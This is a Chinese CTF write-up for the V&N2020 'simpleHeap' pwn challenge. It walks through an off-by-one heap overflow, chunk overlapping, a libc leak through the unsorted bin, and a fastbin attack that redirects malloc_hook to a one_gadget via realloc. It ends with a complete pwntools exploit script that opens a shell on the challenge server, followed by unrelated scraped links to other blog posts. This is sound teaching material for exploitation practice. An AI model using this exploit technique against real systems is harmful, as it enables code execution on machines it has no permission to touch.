[V&N2020 公开赛]simpleHeap

安全机制:

IDA反汇编

main:

Add:

Edit:

可以看到get_input_content函数包含一个off_by_one漏洞。

Show:

Delete

可以看到free函数之后,将chunkptr置为0,所以不存在UAF

思路:

  1. 利用off-by-one漏洞,篡改chunk的size大小,使被篡改大小的chunk覆盖其后已申请的chunk大小,从而导致chunk overlapping
  2. 使被篡改的chunk的size超过fastbin大小,64位linux下是0x80,使其free之后落入unsortedbins,当unsorted bins中只有一个kongxianchunk时,其fd去bk指针均指向main_arena+88,从而泄露arena地址,进一步泄露libc机制
  3. 获得libc基址之后,伪造fake_chunk,使其指向malloc_hook附近,并利用fastbin attack获得fake chunk,从而改写malloc hook为one_gadget,使得下一次申请堆时执行one_gadget

调试过程

在这里我使用的是gef插件,虽然使用pwndbg插件调试heap会更轻松,但是由于未知原因,当我使用pwndbg指定libc时,pwndbg会失效。

1.申请chunks,利用off-by-one,改写chunk1大小

此时,heap如下‘:

2. 利用Edit功能里存在的off-by-one漏洞,改写chunk1的size,使其包含chunk1与chunk2,即chunk1 chunk overlapping chunk2,并释放chunk1,这时其大小为0xe0(0x70+0x70),落入unsorted bins

此时,heap如下,可以看到chunk1落入unsorted bins,由于unsorted bins中只有一个chunk,所以chunk1的fd与bk均指向main arena+88处,即0x7ffff7dd1b78

3.申请chunk1未修改之前大小的chunk(0x60),使得unsorted bins切片,这时chunk1指向新申请到的0x70大小的chunk,而chunk2 仍然在unsorted bin中(但是实际上它之前就已经被用户申请了,所以直接利用show功能显示chunk2里的内容,即泄露main arena 地址)

4.计算libc基址,同时获取malloc hook地址 realloc hook地址等:

问题1:main arena距离libc base的偏移0x3c4b20如何得来:

利用vmmap,查看加载libc的基址,如图,可以看到libc基址为0x7ffff7a0d000(注意,这里是libc-2.23.so,而不是/lib/x86_64-linux-gnu/ld-2.23.so,后者是本机libc,前者为我们主动加载的libc),步骤3获知main arena地址为0x7ffff7dd1b78-88=0x7ffff7dd1b20,则偏移量为0x7ffff7dd1b78-0x7ffff7a0d000=0x3c4b20

问题2:malloc hook、realloc hook、fake chunk从何而来?

这里需要参考https://blog.csdn.net/qq_41453285/article/details/99321101,从这篇文章得知,malloc_hook距离main arena偏移为0x10,同时,realloc_hook距离malloc_hook距离为0x8,在这里我用gef验证了一下,(使用gef确实调试不如pwndbg方便)

5.fastbin attack,获得我们构造的fake chunk

delete(4)之后,chunk4被放置在fastbin中,根据上述步骤,我们知道chunk2和chunk4实际上指向同一块heap,修改chunk2,使其内容为fake chunk地址,从而chunk4的fd指向fake chunk

可以看到,chunk4的fd指向了0x7ffff8dd1afd,即fake chunk

6.获取fake chunk,其返回地址为0x7ffff8dd1afd,距离malloc_hook地址为0x13,距离realloc_hook地址为0x13-0x8

问题3.为什么payload是:"c"*(0x13-0x8)+p64(one_gadget)+p64(realloc_hook+13),而不是"c"*(0x13)+p64(one_gadget),即直接覆盖malloc_hook为one_gadget呢?

参考文章https://oneda1sy.gitee.io/2020/10/11/Heap-vn-simpleheap-realloc/,

首先是free_hook的问题,由于free_hook的附近的数据全都是0,这对于malloc的检查机制,不好构造chunk结构来绕过

而malloc_hook的话,则由于部分题的环境原因而不能直接使用one_gadget否则将会破坏栈平衡,更不能使用system因为我们无法向其中传入/bin/sh字符串

那么这时我们就可以利用realloc函数的开头部分一堆的push操作让栈保持平衡,进而执行onegadget

最终exp:

from pwn import *#io = process(['./vn_pwn_simpleHeap'],env={"LD_PRELOAD":"./libc-2.23.so"})
io=remote("node3.buuoj.cn","29058")
elf=ELF('./vn_pwn_simpleHeap')
libc=ELF('./libc-2.23.so')
context(os='linux',arch=elf.arch,log_level='debug')def Add(size,content):io.recvuntil("choice: ")io.sendline("1")io.sendlineafter("size?",str(size))io.sendlineafter("content:",content)def Edit(idx,content):io.recvuntil("choice: ")io.sendline("2")io.sendlineafter("idx?",str(idx))io.sendlineafter("content:",content)def Show(idx):io.recvuntil("choice: ")io.sendline("3")io.sendlineafter("idx?",str(idx))def Delete(idx):io.recvuntil("choice: ")io.sendline("4")io.sendlineafter("idx?",str(idx))def Exit():io.sendlineafter("choice: ", "5")Add(0x18,"AAAA")#0
Add(0x60,"AAAA")#1
Add(0x60,"AAAA")#2
Add(0x10,"AAAA")#3Edit(0,"A"*0x18+"\xe1")
Delete(1)Add(0x60,"BBBB")#1
Show(2)
main_arena=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x58
log.success("main arena address : "+hex(main_arena))libc_base=main_arena-0x3C4B20
malloc_hook=main_arena-0x10
fake_chunk=malloc_hook-0x23realloc_hook=libc_base+libc.symbols['__libc_realloc']
one_gadget_offset=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+one_gadget_offset[1]Add(0x60,"tmp")#4
Delete(4)
Edit(2,p64(fake_chunk))
Add(0x60,"tmp")
payload="c"*(0x13-0x8)+p64(one_gadget)+p64(realloc_hook+13)
Add(0x60,payload)#5io.recvuntil("choice: ")
io.sendline("1")
io.sendlineafter("size?", "1")io.interactive()

[VN2020 公开赛]simpleHeap-记录一次gef调试过程相关推荐

  1. 腾讯在线教育互动课堂——Demo调试过程记录

    官方文档地址:https://cloud.tencent.com/document/product/680/17888 "Demo调试"不像集成使用,不需要完全按照文档一步步处理, ...

  2. java毕业设计大学生二手物品交易网站演示记录2021Mybatis+系统+数据库+调试部署

    java毕业设计大学生二手物品交易网站演示记录2021Mybatis+系统+数据库+调试部署 java毕业设计大学生二手物品交易网站演示记录2021Mybatis+系统+数据库+调试部署 本源码技术栈 ...

  3. 到银联的调试过程,总结,记录

    几个月前,支付宝在杭州率先实现公交扫码付.一石激起千层浪,我们终端设备的升级改造迫在眉睫.而实现银联小额免密免签,扫码付与ODA,时间紧迫,责任重大. 7月24号到**银联调试小额免密与 银联扫码支付 ...

  4. chrome 不记录填写值_Chrome 调试技巧

    alert 这个不用多说了,不言自明 console 基本输出 想必大家都在用console.log在控制台输出点东西,其实console还有其它的方法: console.log("打印字符 ...

  5. Proteus仿真stm32和51单片机,串口通信调试过程记录

    前言 本文所用Proteus版本为8.10,主要内容为在Proteus中仿真stm32和51单片机进行串口通信,记录了仿真过程中遇到的问题和解决办法.        这里要注意的是,在Proteus中 ...

  6. stm32--FatFs调试过程(SPIFlash)

    移植方法参见我的另一篇博客:<stm32--FatFs移植(SPIFlash)>. 本文仅记录在初次移植完成后,遇到的问题,和解决的过程. 调试记录: 问题1:f_open返回3,即磁盘没 ...

  7. PIXHAWK上安装PX4Flow光流传感器及调试过程

    摘自:https://blog.csdn.net/wlrh253250/article/details/90146561 PIXHAWK上安装PX4Flow光流传感器及调试过程 置顶 wang-rh ...

  8. Android studio3.6.1+ opencv3.4.1进行摄像头颜色识别的调试过程

    Android studio3.6.1+ opencv3.4.1进行摄像头颜色识别的调试过程 本文过程建立在成功导入opencv3.4.1library并且成功运行打开摄像头的基础上的.在完成了验证并 ...

  9. 电源设计调试过程中的异常现象介绍

    调试过程中所看到的一些异常现象,以及后来的解决办法.其实很多工程师认为设计电源是非常重经验的一门技术,要见多识广.这种经验,不但体现在设计中,更体现在调试的过程. 当你一看到波形,就能把问题定位,那就 ...

最新文章

  1. mysql进程管理,MySQL管理
  2. 设置用户帐号只能一个地方登录
  3. oracle600错误,oracle在导入数据时报600错误的解决方法
  4. 两个经典递归问题:菲波那契数列 + 汉诺塔
  5. centos6.x 搭建K8S环境准备
  6. Git教程~忽略特殊文件
  7. (Python)零起步数学+神经网络入门
  8. linux看java堆大小,linux 改java堆内存大小
  9. 马士兵java教程笔记_马士兵java教程笔记4
  10. C++/CLI思辨录之Object的对象布局
  11. 第11章 支撑向量机 SVM 学习笔记 下 高斯核函数RBF
  12. sql实现根据身份证计算年龄
  13. 服务器cpu开启虚拟化的好处,开启硬件虚拟化有什么好处和坏处?
  14. 网络虚拟化中的 offload 技术:LSO/LRO、GSO/GRO、TSO/UFO、RSS、VXLAN
  15. 节日代码php,php 排除周末与节假日程序实例代码
  16. Intel汇编-部分余数
  17. 计算机系统1 实验 LC-3 Nim游戏 子程序
  18. 到底有几个鸿蒙OS? 谈谈我眼里的鸿蒙操作系统
  19. 苹果工具条_苹果承认错误:个人热点“断连” !iOS13.4或成救命稻草!
  20. 3.牛顿迭代法求解方程的根

热门文章

  1. 线性代数计算器C语言(1)——计算行列式值
  2. 新上线APP如何推广提升排名
  3. 麦克劳林公式怎么记忆_怎么背麦克劳林公式?
  4. 独立开发仿造一个开关机器人
  5. discuz_result
  6. 过程分析对进行有针对性ICS攻击的意义
  7. 【论坛】交通需求管理政策与实践——中国城市交通发展论坛第十一次研讨会讨论精选...
  8. JavaWeb购物系统(七)购物系统主页,商品的管理
  9. mybatis-plus lambda表达式学习笔记
  10. HARK学习(八)--LoadSourceLocation